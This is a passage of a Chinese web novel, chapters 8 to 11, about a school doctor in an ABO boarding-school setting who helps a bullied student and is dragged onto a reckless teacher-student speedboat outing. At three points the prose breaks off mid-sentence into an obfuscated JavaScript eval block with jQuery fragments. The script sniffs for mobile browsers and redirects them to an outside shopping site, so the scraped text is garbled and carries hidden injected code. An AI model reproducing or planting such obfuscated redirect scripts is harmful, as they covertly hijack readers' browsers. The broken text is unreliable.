姜晓面色带着不正常的潮红,抱头蜷缩在地上,见他们离开才敢移开护着头的手臂,迷茫抬头看着亮起的灯。 他之前,从来没见过钟楼在晚上这样亮起。 就好像,这些灯光、钟声都是为了阻止那些人霸凌他才会出现的。 姜晓起身时一阵阵发晕,撑着墙壁缓了许久才好转。 昨天那些人以“替F4出气”的名义,把姜晓反锁在厕所隔间里,往他身上浇了好几盆冰水。 刚才也是在打工搬货回程被人拦下拳打脚踢,毫无反抗之力。 他为了攒生活费,每天除了上学还要勤工俭学经常忙到深夜。 加上近来种种刁难,本就营养不良的身体发起了烧。 否则,以姜晓倔强性格,无论如何也不会被这些人按着欺负。 姜晓走出钟楼,摇摇晃晃看向不远处那栋三层的红砖小楼。 小楼亮着温暖光芒,在漆黑树叶间像是庇护所般安全。 四肢好似灌了铅般沉重,身体一时滚烫好似在火炉里翻滚,一时又仿佛在冰水里浸泡。 此时,身上被镶钻美甲划伤了好几道,淤青也阵阵发疼。 钟楼的灯光在他身后骤然熄灭,徒留一地阴霾。 姜晓脚步迟疑片刻,向着唯一能看到的光亮走去。 8. 第 8 章 白苏关闭遥控器APP,收起手机。 深藏功与名。 昨天他好奇闲逛,走进了钟楼里,却发现钟楼根本不需要人敲。 随着科技的发展,钟楼已经纯电动化自动化的了! 白天的每个整点,敲钟的钟椎就会在程序控制下蓄力撞钟,发出敲钟声。 灯光则是在每次敲钟时亮起部分,每次循环不同部分的灯。 这些程序一直有条不紊运转着,技术人员每隔1个月会来维护一次。 但白苏却发现敲钟的钟椎上有个蓝牙标志,他用自己手机蓝牙连接上之后,就可以...控制钟椎和灯光的程序了! 恶毒男配Beta们以为的闹鬼,其实完全是科技的力量。 其他人之所以没有发现或使用这个蓝牙功能,一是他们没有白苏那么闲会仔细端详那钟椎,二是校医室是离钟楼最近的建筑,其他地方连不上这里的蓝牙。 白苏拯救了被霸凌的姜晓,又无需现身得罪那些富家小少爷,简直是个万全之策。 却不曾想,五分钟后姜晓就来到了校医室:“你好,我觉得不太舒服,可以借用一□□温计么?” 白苏一看姜晓的面色,就感觉他是在发烧。 男生小麦色的肤色却掩盖不住面颊的酡红,那团红色像要从皮肤下灼烧出来,让男生的双眼也雾蒙蒙的。 “当然可以,”白苏赶紧拿出体温计给他,又起身去给他倒了杯热水,“你先喝点水。” 方才隔得远,白苏并不知道姜晓伤得重不重,此时才发现他衣服上满是泥土灰尘痕迹,手臂也有好几处淤青伤痕。 姜晓自从来到这所男校,受尽了白眼和欺辱。 这样的尊重,已经许久没有感受过了。 他不禁怔然看着满脸关心的白苏,许多疑问在口中翻滚片刻,最终只说出一句:“...谢谢。” 好奇怪,这里的人惯是会见人下菜碟的。 姜晓自知服装打扮能让人一眼就看出来自己出身贫寒,许多商学院的同学尽管不知道他是谁,也往往会对这样特殊的他予以白眼和不客气的打量。 而对跋扈的尉迟云蔚、百里枫,这些人却都变了一副脸孔,巴结谄媚得令白苏作呕。 他虽然不理解这些人为何如此趋炎附势,但也无可奈何。 不仅同学,连学校的大部分老师也是如此。 这显得眼前的校医尤为与众不同。 这校医说话温柔动作仔细,使得本来出尘的精致容貌都接地气了许多。 姜晓觉得他比自己学院里那些自诩“最美Omega/Beta”的人更加漂亮,却比他们都更加平易近人。 甚至可以说,姜晓根本没见过比这位校医更好看的人。 前几天见过的那些打扮精致妆容一丝不苟的名媛,在他面前也不过是几粒普通的尘埃。 满身尘土穿着陈旧的姜晓在这样的人面前,不免有些自惭形愧。 “对不起,我衣服...有点儿脏。”刚才白苏让他坐下时,姜晓就有些不好意思。 少年悄悄打量着白苏的动作在白苏眼里无所遁形,这样小心翼翼的被欺负了的少年和路边看见的受伤的小狗崽小猫崽没有任何区别。 “没关系,以后不舒服了要早点来拿药,知道吗?”白苏叮嘱着,起身取了碘酒红药水:“你手臂受伤了,我替你处理一下吧?你把校园卡给我就好,学校是报销一切学生医药开销的。” “谢谢。”姜晓感动得不知该说什么。 之前和尉迟云蔚吵架时他嘴皮很利落,像只威风凛凛的小老虎,龇牙向敌人展示自己的凶恶和不好欺负。 可现在他却有些不知所措,大眼睛茫然看着白苏。 这位校医为他处理伤口的动作很温柔,棉签落在他淤青时还提醒他:“可能会有点疼哦,不过就一小会儿。” 姜晓是个很倔强的人,别人越看不起他,他就越会努力。 他会把这些人的脸通通打一遍,那样才是姜晓该做的。 他不怕被人瞧不起,也不怕别人对他恶语相向。 因为他总有一天会还回去。 可谁又能真的在这样的环境里,一点也不伤心难过呢? 一时之间,姜晓积累许久的委屈好像都在这样的时刻涌了出来。 “没事的,我不怕疼。”姜晓眼含热泪,带着哭腔说。 他忍着泪没有让眼泪流出来,而白苏也好心地并未揭穿,只是忍不住提醒道:“如果有人欺负你,你没有还手的能力,也可以先卖个怂,之后再做打算,不要硬碰硬呀。” 姜晓一怔,迷蒙思绪间似乎有什么被点亮,可他一时之间却又没法捋清楚。 白苏给姜晓开了感冒药还有补充营养的维生素,便嘱咐他回去好好休息。 少年离开的背影依旧挺拔,只是在最后走出校医室大门时回过头来看向白苏:“请问您贵姓?” “我姓白,是新来的校医。”白苏回答他。 姜晓怔愣着点头。 原来这位美丽温柔得像是神明般的医生,姓白。 *** 翌日,贵族男校教师团建。 阳光洒在波光粼粼的海面上,海风轻拂,带着微咸的气息和一丝丝凉意。 人影踩着冲浪板在湛蓝海浪中穿梭,时不时从岸边传来一阵叫好声。 金黄沙滩上插着各式各样的彩色冲浪板,穿着泳衣的美女俊男躺在遮阳伞下闲聊着。 白苏第一次冲浪,整个人都麻了:“...谁家好人团建会带人来冲浪啊!” 闻行屿有些好笑地看着他,左手虚拢成拳掩在唇边:“没事,多练习一下就好了。” 面前青年黑发湿哒哒垂在脸侧,瓜子脸也煞白着,本来就没露出什么皮肤的黑色冲浪服上还批了张大毛巾。 将他从肩膀到小腿,裹了个严严实实。 闻行屿实在想笑,但又顾及白苏的面子并未笑出声。 “你想笑就笑吧。”白苏瞥他一眼,自己都觉得自己这落汤鸡模样好笑。 白苏方才刚试了两次,拉着前面小船放出的牵引绳尝试踩稳冲浪板,但都以臀部重重砸向水面并且猛喝两口海水作为结束。 而放眼望去,这次来团建的同事们,每个人都有自己的冲浪板,贴着独特标识,俨然是平时就经常去冲浪的模样。 他们所在的海滩位于贵族男校附近某海岛,此处远离陆地,于是海浪比岸边更汹涌。 但这群同事们没有一个人退缩,每个人!都!玩得非常开心! 好像他们出生的时候就是带着冲浪板出生的一样!轻松自如! 而闻行屿是冲浪佬里面的佼佼者,身体与冲浪板几乎融为一体,随着海浪的起伏,身体重心能够快速调整,用脚掌的微妙压力调整方向,精准地切入浪壁。 “行屿,你怎么不继续玩啊?我们当着你面,都是班门弄斧了!”有同事走了过来,亲热地搭着闻行屿肩膀。 另一个棕发女人拿来了饮料递给白苏和闻行屿:“你们喝蓝莓汁吗?” 白苏接过:“谢谢。” 走过来的两人目光自以为隐晦地在白苏和闻行屿之间打了转儿,似乎都在思考为何闻行屿会和这个新来的一起。 贵族男校每新来教师,他们的履历过往都会很快在教师圈子里传开。 所以,来团建的大家都知道白苏出身平凡,是从某个不为人知的山村考进这所贵族男校的。 这里大部分老师都是学校校友,出身优渥,冲浪马术高尔夫不在话下。 白苏摔下水后背地里笑话他的人不在少数,嘲笑白苏是个“土包子”。 如若不是闻行屿和他有说有笑,谁也不会主动来和白苏打招呼。 白苏也感觉到了这一点。 因为至今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320512|152442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为止,这些人虽然会在和闻行屿攀谈时顺带对自己笑笑,可是—— 没有任何一个人,主动问他的名字。 就算闻行屿为他介绍,那些人也只是敷衍地点头,并没有对自己再搭话的意思。 白苏默默想着:看来不止是学校的学生,连老师也都是这样的趋炎附势。 好在闻行屿比较正常,不至于让自己孤零零的。 但白苏已经决定以后不再参加这种活动了,太没意思。 闻行屿喝掉橙汁,靠近白苏低声说:“那我过去玩会儿,你要一起去吗?” 如果他一直陪在白苏身边,反而让白苏不自在,那些同事也还会过来找自己。 “你去吧,我就在这儿坐着好啦。”白苏冲他摆摆手。 闻行屿离开后,白苏就百无聊赖坐在遮阳伞下喝饮料吃零食。 教师群体里以Beta占多数,Alpha次之,也有几个Omega。 性别分化后的Omega大多长相柔美出众,白苏很快就注意到了在他不远处遮阳伞下休息的盘发男人。 这男人长得非常清丽脱俗,柳眉微蹙,眼若含波,肤白貌美,气质非常淡雅出尘。 白苏其实是认识长发O的,因为这位叫柳弦的Omega老师在学校非常有名,是知名的单身美Omega。 不仅如此,他在社交媒体上也有几十万粉丝。 有智慧的优雅的美丽的,教绘画的艺术系老师,谁能不喜欢? 每年柳老师都会上这所贵族男校的招生简章,据说还有很多Alpha是因为他才报名来到这所学校。 而他却一直保持着单身,这更加惹得那些Alpha和Beta为他疯狂。 只是这时,盘发Omega背后站着一个年轻男生,目光带着侵略性紧紧盯着他。 白苏一时间搞不清两人是否认识,就听见磁性声音忽地在那Omega身后响起:“老师,好巧啊,你们是今天团建吗?” 长发Omega被吓了一跳,回头时有些惊讶:“蒋同学?你怎么会在这儿?” 那年轻男生姿态慵懒开口,言语间尽显傲慢:“这座岛屿是我家的,学校把教师团建定在这里,自然也会经过我们家族的资产管理机构的同意。” 还没等柳弦开口,他就继续说:“不过我爸爸是校董,当然不会收取学校费用,大家想来,只要提前跟我说一声就好啦。” 世界名著之《我的校董父亲》开始上演了,你也来看看吧! 白苏被这番故作风轻云淡的炫富正面重重一击,只想说——Luckily, I can''t understand Chinese.(幸运的是,我听不懂中文。) 柳弦自己也出身名门,所以并不会觉得对方在炫富,反而觉得两人很有缘:“...是挺巧的。” “老师,你们怎么没去冲浪啊,这里的海浪是最适合冲浪的。”被称为蒋同学的大男生手里拿着冲锋艇钥匙,明黄色发带束起有些长的卷发。 大男生带着青春阳光的男大气息,又英俊潇洒,举手投足间俱是老钱风范。 长发Omega性格很恬静,此时只是微笑着说:“我玩得不好,所以就看看他们玩。” 他身量很高,毫不客气地在白苏和长发O中间的沙滩椅上坐下:“那你觉得无聊吗?还有别的娱乐项目呢。” 坐在白苏身后的一对教师情侣也来搭话了:“小蒋,你还打算玩什么呀?” “快艇,去吗?我技术很好的。”黄发发带拿起手里的钥匙,晃了晃,还对柳弦抛了个媚眼。 大男生完全把那对小情侣撂在一旁,眼里只有柳弦。 学生对老师这样,也太轻佻了吧! 然而,白苏刚在心里不赞同,就看见长发O的脸慢慢红了起来,结巴着说:“...这,我问问他们吧。” 白苏:??? 9. 第 9 章 一A一O对视,四目相对之间似乎有情愫在悄悄产生,又好像电流在其中攒动。 劈里啪啦,差点灼到白苏的三观。 白苏早就知道柳弦会和自己的学生恋爱,因为他们正是一本校园ABO文学的主角攻受。 书名叫做《老师,可以跟我交往吗?[ABO]》。 没错,这本也是妹妹看了之后强行把剧情注入他脑袋的一本! 柳弦、巴伦·蒋这对因为艺术绘画结缘,两人聊起油画总有说不完的话,还曾经共同创作一幅画作,颇为默契。 可柳弦心中还是有作为教师的道德底线,所以在巴伦·蒋刚开始靠近的时候柳弦执着和他保持距离。 而巴伦·蒋也继续锲而不舍追求,还放出了书粉会永远铭记的名言:“老师,我会一直追你,直到追上你的步伐和你并肩。如果你愿意,也可以回回头,我会一直在你身后的。” 当时妹妹一直反复念这句台词,说巴伦·蒋有多么多么深情,白苏听得都PTSD犯了。 不过也正是妹妹的剧透,让白苏现在能够大致判断出两人此时正处于第一阶段,柳弦还把自己放在老师的位置上,没有答应巴伦·蒋的追求。 但白苏也没想到妹妹所说的“柳弦深知自己是老师,所以和巴伦保持距离”,竟然就是这样?? “问问他们吧”+害羞脸? 明眼人一眼就能看出柳弦这是想去,在等着别人给他台阶下好吗! 有种过年时候嘴上说不要,身体却把口袋打开收红包的美感啊! 白苏服了。 巴伦·蒋安慰般笑了笑:“老师别担心,我从小就玩快艇,是老手啦。” “我没有不相信你的意思...”柳弦见没人给自己台阶,一时之间有些不知道该接什么话。 柳弦显然也知道巴伦·蒋的家境,但像他这样美名远扬的Omega,追的富豪不在少数。 他只是在短暂的相处里感觉到自己与对方在艺术上颇为有共鸣,有种相逢恨晚的知己感。 作为一个缪斯,他也很高兴现在的年轻孩子也喜欢艺术,对艺术有自己的见解。 Let''s学习艺术! 柳弦如水般目光戚戚然移向坐在他另一侧的卷发Omega,语调柔柔的:“小芥,你想去吗?” 两人一对视就明白了对方的意思,那个被叫做小芥的Omega立刻点头:“好啊好啊,反正我不会冲浪什么的,家里人之前也不让我玩快艇,说太危险了不适合人家Omega家家的啦。” 白苏内心翻了个白眼,心想学校战斗系里都有给自己打了抑制剂装Beta的Omega,人家可一点不比那些Alpha差。 而这些养尊处优的货色却把分化性别作为一个束缚,把自己困在条条框框里,甚至还引以为荣。 此时白苏还未意识到,眼前两位Omega早就把算盘打到了他身上。 “新来的那个...额,蓝医生,”小芥突然叫住白苏,但又一直想不起白苏到底姓什么,“反正你也不会冲浪,干脆我们一起去玩吧。” 好傲慢的语气,笃定了白苏这种其他地方来的普通人不会冲浪。 不待白苏拒绝,白苏身后一对AO情侣就冒了出来:“欸,我们也想去。” 白苏看着那对教师情侣跟巴伦·蒋开始攀谈,心里似乎明白了什么。 看来这些人对巴伦·蒋提议的相应,并不全是想凑热闹,而是因为他们知道巴伦·蒋的老爹是校董。 白苏刚想拒绝,就被柳弦的好朋友揽住手臂往前走:“来吧来吧,我知道反正你也是无聊的~” 白苏:??求别像姐妹淘一样挽着我手行吗!? 被这样揽着,拒绝都没法拒绝! 小芥大概是想给柳弦和黄发带创造独处机会,所以才拉着白苏走在后面。 一排排色彩鲜艳的快艇整齐地停靠在码头边,它们的船身在阳光下闪耀着光芒,像是一串串五彩斑斓的宝石镶嵌在蓝色的画布上。 海鸥在码头上空盘旋,它们的叫声与快艇的引擎声、海浪拍打码头的声音交织在一起。 快艇形态各异,有的它们的船体线条锋利,简洁而流畅,专为速度而生;有的则更为宽敞,配备了舒适的座椅和遮阳篷,适合家庭和朋友间的悠闲出游。 白苏正跟着小芥准备上有遮阳棚的快艇,不打扰巴伦·蒋和柳弦的二人世界,却突然被柳弦喊住了:“等会儿,只有我们两个,这不太合适吧...?” “有什么不合适的?”黄发带眉眼间带着桀骜,却故作可怜撒娇,“老师,你之前明明说过如果我在油画比赛里拿第一,就不会再像之前那样拒绝我的。” 长发O被他直勾勾眼神看得害羞低下头:“我是这么说过,但我觉得还是得有个基本的界限...” ber(老北京版)?你们不是师生吗?你作为老师你脸红个泡泡茶壶啊! 还有黄发带你作为学生,这么轻佻朝老师抛媚眼、邀请老师和你一起开冲锋艇,这真的合适么!? 还有作为老师难道不应该拒绝吗!为什么要害羞低头说“不合适”但明眼人都看得出魂已经跟着对方飞走了啊!? 白苏不能理解,白苏大为震撼。 “对了,这周布置的大作业你写了吗,就来这儿玩?”长发O似乎终于想起了自己作为老师的身份。 黄发带却只是挑眉:“老师觉得我没写完?我提交作业的时候,还希望老师能给我评个高分呢。” “我没有那个意思。”长发O颇为茫然地眨了眨妩媚的凤眼。 虽然长发O才是年长的一方,但是在气势上却完全被学生压了一头,甚至是被捏着话头走。 白苏听说这位叫做柳弦的Omega和想追求他的人都保持着距离,没有和谁走得特别近。 可是看他现在和这个男生像是有一层天然的屏障,能够隔开其他人,让整个世界就只剩下他们两个人。 只有彼此。 于是白苏开始冷静分析:看来这两人,应该是早就有状况了。 只可惜闻行屿不在,不然就能多问点情况,两人一起吃瓜。 白苏以为自己只是个背景板,充其量也只是吃瓜,却不料黄发带的运动型男生眼珠一转就看向了白苏:“老师你如果是觉得我们单独相处不合适,就把这位蓝医生也叫上吧?” 白苏:我他爹姓白?什么蓝啊! 你们主角别太过分了,路人就没人权是吗!路人名字就不配被记住吗!! 白苏被黄发带的目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320513|152442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光扫视到,顿时感觉不妙。 果然,下一刻已经在遮阳棚下的小芥就推了白苏一把:“蓝医生,你就陪他们去吧,每个船上三个人,正好。” 小芥打的算盘很巧妙,这个乡下来的土包子气质肯定比不上他的好朋友柳弦,正好作为绿叶衬托出柳弦的高贵优雅。 这样就不用自己在那里当电灯泡,看着他们谈情说爱了! 白苏默默跟着那对小情侣走上遮阳棚快艇,莫名其妙被害羞的柳弦扯上了巴伦·蒋所在的那条快艇。 ber?怎么强制让人当背景板啊! 而打了一副好算盘的小芥得意洋洋看着巴伦·蒋操纵快艇驶离码头,目光在掠过坐在船尾的白苏时却忽然凝住。 等一下。 小芥面色霎时间苍白一片。 原本一直都以为这个新来的乡下人是个土包子,肯定平凡得没必要多看第二眼,但是怎么刚才仔细看过去...突然觉得对方这么这么漂亮? 那人周身清冷气质带着点柔软的悲悯,简直像是油画里走出来的人物。 小芥不可思议地看着那艘快艇远去,倏地给了自己一巴掌! 旁边那对情侣被他吓了一跳:“天哪!你怎么了!”“嗯?是有蚊子吗?” 小芥在脸部的疼痛里冷静下来:对,刚才一定是他的错觉,把柳弦和白苏看混了! 没错,一定是这样的! 远处翻滚的海浪里,赫然有一个黑衣的矫健身影。 浪大风急,其他人都小心翼翼避开最高的浪头,只有他毫不畏惧地带着板在浪里穿梭。 留着及腰长发的清丽男人看着闻行屿的操作,不禁赞叹:“这家伙真是越玩越熟练了啊。” 随着海浪的翻滚,闻行屿的一系列高难度动作立刻吸引了众人的目光。 他先是做快速的转向,然后是大胆的空中旋转,身体在空中划出一道优美的弧线,然后稳稳地落在冲浪板上,继续他的滑行。 海浪的力量似乎完全在他的掌控之中,他就像是海浪的舞者,与大海共舞。 巴伦·蒋顺着柳老师目光看向在碧蓝海浪间流畅穿梭的闻行屿,眸中闪过一丝晦暗不明的情绪。 “老师,你喜欢会玩滑板的么?”男生忽然开口,看起来像是闲聊,却又带着让柳弦不得不察觉的暧昧。 柳弦察觉到巴伦带着醋意的目光,顿时声音如蚊子般讷讷道:“没有啦,你怎么老是联想。” “老师,我是在吃醋。”巴伦的直球来得猝不及防。 在一旁不得不听见全部对话的白苏:“...” 这艘冲锋快艇比有遮阳棚的那艘要小很多,就算白苏想离他们远点儿都做不到。 他不由得也心疼了一下明明不在场却还是要成为PLAY一环的闻行屿。 人家只是正常冲浪,为啥也要被你俩用来当成情趣啊!? 而下一刻,白苏觉得最应该被心疼的是他自己。 因为柳弦红透了脸,娇嗔般瞪了巴伦·蒋一眼,说:“讨厌,还有别人在呢...” 白苏:“...” 如果三体人要来占领他所在的这个世界,而他是叶文洁,那他在发射信号召唤三体人的时候一定会用筋膜木仓去按那个发射信号的按钮!!! 10. 第 10 章 天空是一片无垠的蔚蓝,与海平面相接,仿佛整个世界都被这纯净的色彩所包围。 珊瑚礁色彩斑斓,海水澄清令阳光可以轻易穿透,照亮庞大的鱼群。 “NICE啊行屿,太有实力了!”古铜色皮肤的男人只穿着条短裤,好身材显露无疑。 闻行屿跳下冲浪板,与朋友击掌:“谢谢,我挺久没练了。” “哎,”朋友也是个话多的,“你下个月是不是要带队去山里拉练了?” “嗯。”闻行屿有些心不在焉,只是淡淡应了声。 他目光下意识扫过那片布满各色遮阳伞的金色海滩,在伞下阴影里梭巡。 可来回扫视了几遍,也没有寻见他心中的那个身影。 白苏不在。 高大男人的剑眉蹙起,此刻终于相信自己嗅觉般转向他闻到的,白苏所在的方向。 远处,几艘帆船在海面上缓缓航行,白色的帆布在风中鼓起,与周围的蓝色形成了鲜明的对比。 艇在海面上划过,留下一道道白色的泡沫轨迹。 其中一艘小型快艇的速度尤其惊人,已经把其他同一码头出发的快艇远远甩在身后。 甚至船头的部分已经扬起,人眼望去只能看见一道残影。 “太快了,嗯不要这样~”柳弦坐在船舱内用袖子挡住船体与海面碰撞激起的浪花,一边还嗲声嗲气叫着。 “嗯~我受不了这样的...不要...” 柳弦身形瘦削,在这样颠簸的晃动里别说站不住,连坐着也是东倒西歪。 反观正在操作快艇的健壮男人与他完全是两个极端,巴伦·蒋仿佛如履平地,胸肌在阳光下闪动着光泽。 虽然是因为他心机地涂了油的缘故,但确实亮晶晶的,很吸引人目光。 巴伦·蒋只消一个拧刹车减速,就成功让自己心心念念的大美人尖叫着因为惯性而倒进自己怀里。 柳弦长发在空中甩出一个流畅的弧线,带起一股好闻的香风。 他的信息素是百合花的味道,正如他本人般清新淡雅,却又亭亭玉立。 巴伦·蒋在香味里早已迷失了自我,更不提下一瞬间柳弦在他敞开的手臂里倒下,被他抱了个满怀。 两人本就只穿着薄薄的冲浪服,此时仿佛直接肌肤相贴,传递着彼此的体温。 巴伦·蒋的心猛地跳动起来,更紧地楼住了柳弦:“老师,你...没事吧。” 柳弦也在惊慌里下意识一手揽住了巴伦·蒋结实有力的手臂,另一只手则调情般搭在他胸口的位置。 “啊...没事。”长发Omega带着慌乱抬起头时,恰好撞入健壮Alpha淬满爱意和占有欲的视线里。 仿佛他的世界,再也容不下任何人,唯有柳弦一人。 呼吸交缠,灼热而暧昧。 两人对视间,好似有火花在其中闪动,饱含灼热的情感。 如果白苏不在船舱上,简直觉得这两人会当场舌头狂甩对方嘴唇。 不过就算自己在,情况也差不多。 因为白苏看着巴伦·蒋一手操作船舵,另一只手搂紧了柳弦的腰,低沉气泡音像是打不着火的摩托发动机:“...老师,你身上好香啊。” 白苏心想我了个大草!好老土好油腻的搭讪方式啊! 你一个高富帅,能不能别说这么猥琐的话啊! 巴伦·蒋挑眉:“你害怕的话,就靠着我吧。” 柳弦清丽脸颊倚在巴伦起伏的胸前,感受着对方的心跳,一时之间竟有些不舍得起身。 他明知道自己作为老师,此时应该立刻起来,和巴伦·蒋保持距离。 可是他的心却不听他理智的指挥,以站不稳为由,像是把头钻进沙堆里的鸵鸟般继续安然倚在男人怀里。 巴伦的肩膀好宽阔,身材好性感,如果...他不是自己的学生就好了。 柳弦睫毛扑闪着,兀自沉浸在自己的世界里。 可白苏已经吓得魂魄飞出身体了。 因为巴伦·蒋知道如果船速变慢柳弦会起来,所以开始更加疯狂地开始拧快艇的油门! 白苏有一刹那似乎都听见了发动机的哀嚎声。 此时白苏视线里已经看不清另一艘船上的人了,船速快得超出他的想象,而且白苏根本不知道在这样湍急的海浪里应该怎么游泳。 偏偏这群人好像都是游泳健将,刚才竟然没有一个人提出穿救生衣。 “你开慢点!”白苏彻底被吓到了,“我们都没穿救生衣,你这样很危险啊!” “有什么关系?就算开得再快,我也一样可以保护好我想保护的人。”巴伦·蒋深知送上门的装X机会不用白不用这个道理,立刻反怼白苏。 一边说着,他还一边深情望向柳弦,含情脉脉地继续说告白的话:“听说,在心跳加速的时候和另一个人肢体接触,会产生吊桥效应。老师,你知道吗?” 白苏看向柳弦,大声说:“柳老师,你至少阻止他一下啊!” 而不是像睡着了一样躺在男人怀里不动弹! 柳弦却好像根本没听见白苏说话似的,只是带着脸颊的红晕看着巴伦:“我知道...我心跳得很快...” 草。 白苏无奈,只能双手抱膝蹲在船尾,瑟瑟发抖等着这场闹剧结束后巴伦·蒋开到岸边再下去。 海鸥在天空中盘旋,船身在海平面上激起足有一人高的洁白浪花。 巴伦·蒋突然猛拧方向盘,让快艇转了方向,船身即刻向着左侧倾斜了至少三十度。 柳弦被巴伦抱在怀里,因此并没有什么颠簸。 而巴伦的大腿和白苏的腰有得一拼,因此站在倾斜颠簸的甲板上也好像是鞋底粘了502般牢固。 只有白苏,因为没有事前收到招呼,所以直接从甲板右侧脸朝下扑倒在甲板左侧的边缘。 膝盖和手臂重重磕在甲板上,一阵阵发疼。 咸腥的海水扑在脸上,一时之间白苏连眼睛也睁不开。 涩得发疼,让白苏鼻尖都有些发酸。 白苏突然有点委屈。 凭什么他就非要做一个背景板,要因为攻受谈恋爱而忍受这一切。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320514|152442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 真是太烦了,难道路人就没有人权了吗?! “你们给我停下!不要开这么快了啊啊啊!”白苏用毛巾擦了把脸,想要上前阻止巴伦·蒋。 可是快艇确实颠簸,巴伦·蒋又本来就烦他这个电灯泡,故意左转右转,恨不得白苏被甩下船去。 波光粼粼的海面上,一艘装备着遮阳棚的游艇在岸边的海面上悠闲地游荡。 游艇上的饮料吧台摆满了各种饮品,从清凉的椰子汁到色彩鲜艳的鸡尾酒,应有尽有。 扎高马尾的于芥余光瞥了眼你侬我侬甜甜蜜蜜的AB情侣,继续看向远处快速掠过的白色快艇。 尽管快艇速度极快,但小芥还是看见了那鲜亮的黄色发带与那一头招魂幡般柔顺黑发几乎贴在一起。 高马尾Omega脸上不由得露出欣慰的微笑。 于芥是真心为柳弦高兴,他希望柳弦能找到属于自己的幸福。 他们多年的好朋友,比柳弦小一岁,两人自小就认识,也是一同相约来到这所男校教书。 柳弦性格温婉优雅,追柳弦的Alpha不计其数,于芥之前还悄悄羡慕嫉妒过柳弦。 可是柳弦却对那些Alpha全都视若无睹,满心满眼都只有他心目中的战神。 那个人就是杀穿敌国军队,一己之力守住联邦资源的闻行屿。 闻战神。 自从在新闻媒体上看见那些报道,柳弦就开始默默喜欢着闻行屿,更是在见到闻行屿本尊后死心塌地。 直到前段时间被明确拒绝了,柳弦才彻底死心。 于芥倒是觉得闻行屿没什么好的,因为他哥哥在Army中任职,向他透露过闻行屿来到学校的原因。 于芥并不放心把自己的好朋友,交给这样一个信息素不稳定随时都会发疯的Alpha。 更何况,这个可恶的闻行屿竟然对柳弦非常冷漠,在柳弦告白后还拒绝了柳弦! 于芥觉得,闻行屿这种自视甚高的人简直太装了,还真以为自己能娶到联邦总统的Omega女儿或儿子么! 亦或者,闻行屿是笃定不论怎么对柳弦,柳弦都会死心塌地追求? 于芥想到这个欠揍傲慢的闻行屿,就巴不得巴伦·蒋今天就和柳弦官宣恋爱。 他自认为很懂这些Alpha们都在想什么,就是“得不到的就越想要”罢了。 只要柳弦在闻行屿面前和其他Alpha你侬我侬,闻行屿这种不懂珍惜的臭A肯定会后悔的! 于芥只要想到之后闻行屿会追悔莫及地对柳弦“追妻火葬场”,快意的笑容就在脸上蔓延开。 一阵惊呼在于芥身后响起。 “那是谁的船,他疯了吗,开那么快!?”“那好像是闻行屿!” 一辆漆黑的快艇犹如利箭般破开海面,悍然以极快的速度向着正在海面上左右摇摆的白色快艇直冲而去! “来了来了!”于芥笑得越来越疯狂,“闻行屿终于看不下去,要去抢回我的闺闺了!” 黑色快艇蛮横地从白色快艇前方绕过,以霸道姿态逼停了对方。 11. 第 11 章 漆黑快艇表面采用哑光漆面,船身写着花体的“ISLAND”,英文的后方是长剑与玫瑰组成的家族徽章。 远远望去,就像锐利的金属箭簇,带着冷锐的光泽。 从发动机的尖锐轰鸣声就能听出这快艇与码头停靠的其他快艇都不是一个档次,显然是改装过发动机的定制高级货。 也正是因为马力的不同,闻行屿的船很快就追上了巴伦·蒋驾驶的船只。 原本在遮阳伞下乘凉或是在海边冲浪的人都被这响彻天地的巨大轰鸣吸引了注意,纷纷看向那道白色痕迹延伸的方向。 只要看一眼船身的图纹,大家就都知道了船的主人是谁,只是他们并不清楚闻行屿想要做什么。 但也有人看见了刚才柳弦和巴伦蒋一起上船,于是开始八卦:“闻行屿是不是去找柳弦的?他看到柳弦和别的Alpha亲近,终于坐不住了?” 柳弦总是对Alpha们保持距离,就显得他对闻行屿的刻意亲近格外明显。 “还真有可能,我就说怎么会有人面对柳老师的追求无动于衷?” “闻行屿这样的男人,竟然也不能免俗地喜欢柳弦啊...” 虽然大家平时心照不宣,但都对两人的发展都持有吃瓜的态度。 巴伦·蒋一门心思都放在和怀里小Omega调情上,并未注意远处杀过来的闻行屿。 而白苏也早已在愤怒里阴暗爬行到了巴伦脚边的位置。 不在沉默中爆发就沉默中灭亡!白苏决定和这对癫公拼了! 他要强行把巴伦·蒋从驾驶座扯开!他自己来开这艘破船! 等到巴伦·蒋反应过来时,早就被柳弦迷昏头的Alpha才着急调转船头:“这TM谁啊,是疯了吗!” 在巴伦·蒋视线里能看见的是,黑船行驶的方向完全就是想要直直撞上自己的船,唯一的选择就是避开! 可黑船却并不打算就此放过巴伦蒋,而是立刻以船身侧倾的方式调转了方向再次向他们逼近! 